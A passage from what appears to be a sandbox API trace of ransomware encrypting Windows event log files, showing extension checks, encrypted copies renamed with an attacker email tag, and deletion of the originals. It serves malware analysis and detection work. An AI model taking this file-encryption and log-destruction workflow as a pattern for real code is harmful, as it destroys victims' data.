(lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0150.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0150.241] lstrlenW (lpString=".doc") returned 4 [0150.241] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.241] lstrlenW (lpString=".docx") returned 5 [0150.241] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.241] lstrlenW (lpString=".pdf") returned 4 [0150.241] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.241] lstrlenW (lpString=".xls") returned 4 [0150.241] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.241] lstrlenW (lpString=".xlsx") returned 5 [0150.241] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.241] lstrlenW (lpString=".ppt") returned 4 [0150.241] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0150.242] lstrlenW (lpString=".zip") returned 4 [0150.242] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.259] lstrlenW (lpString=".rar") returned 4 [0150.260] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.260] lstrlenW (lpString=".bz2") returned 4 [0150.260] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.260] lstrlenW (lpString=".7z") returned 3 [0150.260] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.260] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0150.260] lstrlenW (lpString=".dbf") returned 4 [0150.260] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.260] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0150.260] lstrlenW (lpString=".1cd") returned 4 [0150.260] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.260] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0150.260] lstrlenW (lpString=".jpg") returned 4 [0150.260] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.261] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0150.261] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Audit.evtx") returned 39 [0150.261] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0150.262] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0150.262] CloseHandle (hObject=0x1084) returned 1 [0150.262] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0150.262] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0150.262] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0150.262] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.263] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.263] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0150.263] GetLastError () returned 0x0 [0150.263] ReadFile (in: hFile=0x1084, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0150.307] WriteFile (in: hFile=0x1088, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0150.309] ReadFile (in: hFile=0x1084, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.310] WriteFile (in: hFile=0x1088, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x122, lpOverlapped=0x0) returned 1 [0150.310] SetEndOfFile (hFile=0x1088) returned 1 [0150.310] CloseHandle (hObject=0x1088) returned 1 [0150.317] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.317] SetEndOfFile (hFile=0x1084) returned 1 [0150.319] CloseHandle (hObject=0x1084) returned 1 [0150.319] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0150.319] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1 [0150.319] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0150.319] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0150.319] lstrlenW (lpString=".doc") returned 4 [0150.319] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.319] lstrlenW (lpString=".docx") returned 5 [0150.319] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.320] lstrlenW (lpString=".pdf") returned 4 [0150.320] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.320] lstrlenW (lpString=".xls") returned 4 [0150.320] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.320] lstrlenW (lpString=".xlsx") returned 5 [0150.320] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.320] lstrlenW (lpString=".ppt") returned 4 [0150.320] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.320] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0150.320] lstrlenW (lpString=".zip") returned 4 [0150.320] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.320] lstrlenW (lpString=".rar") returned 4 [0150.320] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.320] lstrlenW (lpString=".bz2") returned 4 [0150.320] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.320] lstrlenW (lpString=".7z") returned 3 [0150.320] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.320] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0150.320] lstrlenW (lpString=".dbf") returned 4 [0150.320] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.320] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0150.320] lstrlenW (lpString=".1cd") returned 4 [0150.320] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.320] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0150.321] lstrlenW (lpString=".jpg") returned 4 [0150.321] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.321] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0150.321] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0150.321] lstrlenW (lpString=".doc") returned 4 [0150.321] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.321] lstrlenW (lpString=".docx") returned 5 [0150.321] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.321] lstrlenW (lpString=".pdf") returned 4 [0150.321] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.321] lstrlenW (lpString=".xls") returned 4 [0150.321] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.321] lstrlenW (lpString=".xlsx") returned 5 [0150.321] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.321] lstrlenW (lpString=".ppt") returned 4 [0150.321] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.321] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0150.321] lstrlenW (lpString=".zip") returned 4 [0150.321] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.321] lstrlenW (lpString=".rar") returned 4 [0150.321] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.321] lstrlenW (lpString=".bz2") returned 4 [0150.321] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.321] lstrlenW (lpString=".7z") returned 3 [0150.321] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.321] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0150.322] lstrlenW (lpString=".dbf") returned 4 [0150.322] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.322] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0150.322] lstrlenW (lpString=".1cd") returned 4 [0150.322] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.322] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0150.322] lstrlenW (lpString=".jpg") returned 4 [0150.322] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.322] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0150.322] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 46 [0150.322] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0150.322] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0150.322] CloseHandle (hObject=0x1084) returned 1 [0150.323] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20 [0150.323] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0150.323] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0150.323] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.323] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.323] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0150.324] GetLastError () returned 0x0 [0150.324] ReadFile (in: hFile=0x1084, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0150.437] WriteFile (in: hFile=0x1088, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0150.440] ReadFile (in: hFile=0x1084, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.440] WriteFile (in: hFile=0x1088, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x130, lpOverlapped=0x0) returned 1 [0150.440] SetEndOfFile (hFile=0x1088) returned 1 [0150.440] CloseHandle (hObject=0x1088) returned 1 [0150.834] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.835] SetEndOfFile (hFile=0x1084) returned 1 [0150.838] CloseHandle (hObject=0x1084) returned 1 [0150.838] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0150.840] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1 [0150.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0150.842] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0150.842] lstrlenW (lpString=".doc") returned 4 [0150.842] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.842] lstrlenW (lpString=".docx") returned 5 [0150.842] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.842] lstrlenW (lpString=".pdf") returned 4 [0150.843] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.843] lstrlenW (lpString=".xls") returned 4 [0150.843] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.843] lstrlenW (lpString=".xlsx") returned 5 [0150.843] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.844] lstrlenW (lpString=".ppt") returned 4 [0150.844] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0150.844] lstrlenW (lpString=".zip") returned 4 [0150.844] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.844] lstrlenW (lpString=".rar") returned 4 [0150.844] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.844] lstrlenW (lpString=".bz2") returned 4 [0150.844] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.844] lstrlenW (lpString=".7z") returned 3 [0150.844] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0150.844] lstrlenW (lpString=".dbf") returned 4 [0150.844] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0150.845] lstrlenW (lpString=".1cd") returned 4 [0150.845] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0150.845] lstrlenW (lpString=".jpg") returned 4 [0150.845] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0150.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0150.845] lstrlenW (lpString=".doc") returned 4 [0150.845] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.845] lstrlenW (lpString=".docx") returned 5 [0150.845] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.845] lstrlenW (lpString=".pdf") returned 4 [0150.845] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.845] lstrlenW (lpString=".xls") returned 4 [0150.845] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.845] lstrlenW (lpString=".xlsx") returned 5 [0150.845] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.845] lstrlenW (lpString=".ppt") returned 4 [0150.845] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0150.845] lstrlenW (lpString=".zip") returned 4 [0150.845] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.845] lstrlenW (lpString=".rar") returned 4 [0150.845] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.845] lstrlenW (lpString=".bz2") returned 4 [0150.846] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.846] lstrlenW (lpString=".7z") returned 3 [0150.846] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0150.846] lstrlenW (lpString=".dbf") returned 4 [0150.846] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0150.846] lstrlenW (lpString=".1cd") returned 4 [0150.846] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0150.846] lstrlenW (lpString=".jpg") returned 4 [0150.846] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.846] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0150.846] lstrlenW (lpString="Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 49 [0150.846] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0150.847] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0150.847] CloseHandle (hObject=0x1084) returned 1 [0150.847] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20 [0150.847] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0150.847] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0150.847] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.847] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.847] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0150.848] GetLastError () returned 0x0 [0150.848] ReadFile (in: hFile=0x1084, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0150.861] WriteFile (in: hFile=0x1088, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0150.863] ReadFile (in: hFile=0x1084, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.863] WriteFile (in: hFile=0x1088, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x136, lpOverlapped=0x0) returned 1 [0150.864] SetEndOfFile (hFile=0x1088) returned 1 [0150.864] CloseHandle (hObject=0x1088) returned 1 [0150.870] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.870] SetEndOfFile (hFile=0x1084) returned 1 [0150.871] CloseHandle (hObject=0x1084) returned 1 [0150.871] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0150.872] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1 [0150.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0150.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0150.872] lstrlenW (lpString=".doc") returned 4 [0150.872] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.872] lstrlenW (lpString=".docx") returned 5 [0150.872] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.872] lstrlenW (lpString=".pdf") returned 4 [0150.872] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.872] lstrlenW (lpString=".xls") returned 4 [0150.872] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.872] lstrlenW (lpString=".xlsx") returned 5 [0150.872] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.872] lstrlenW (lpString=".ppt") returned 4 [0150.872] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0150.872] lstrlenW (lpString=".zip") returned 4 [0150.872] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.872] lstrlenW (lpString=".rar") returned 4 [0150.872] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.873] lstrlenW (lpString=".bz2") returned 4 [0150.873] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.873] lstrlenW (lpString=".7z") returned 3 [0150.873] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0150.873] lstrlenW (lpString=".dbf") returned 4 [0150.873] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0150.873] lstrlenW (lpString=".1cd") returned 4 [0150.873] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0150.873] lstrlenW (lpString=".jpg") returned 4 [0150.873] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0150.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0150.873] lstrlenW (lpString=".doc") returned 4 [0150.873] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.873] lstrlenW (lpString=".docx") returned 5 [0150.873] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.873] lstrlenW (lpString=".pdf") returned 4 [0150.873] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.873] lstrlenW (lpString=".xls") returned 4 [0150.873] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.873] lstrlenW (lpString=".xlsx") returned 5 [0150.873] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.873] lstrlenW (lpString=".ppt") returned 4 [0150.873] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0150.873] lstrlenW (lpString=".zip") returned 4 [0150.874] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.874] lstrlenW (lpString=".rar") returned 4 [0150.874] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.874] lstrlenW (lpString=".bz2") returned 4 [0150.874] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.874] lstrlenW (lpString=".7z") returned 3 [0150.874] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0150.874] lstrlenW (lpString=".dbf") returned 4 [0150.874] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0150.874] lstrlenW 